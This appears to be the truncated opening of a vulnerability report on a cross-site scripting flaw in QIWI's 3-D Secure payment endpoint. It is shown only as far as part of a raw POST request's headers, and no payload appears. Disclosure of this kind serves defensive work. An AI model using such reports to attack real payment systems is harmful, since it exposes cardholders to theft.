QIWI: [XSS/3dsecure.qiwi.com] 3DSecure XSS

При отправке POST запроса: POST https://3dsecure.qiwi.com/acs/pareq?network=VISA HTTP/1.1 Host: 3dsecure.qiwi.com Connection: keep-alive Content-Length: 37 Cache-Control: max-age=0 Origin: https://pay.qiwi.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...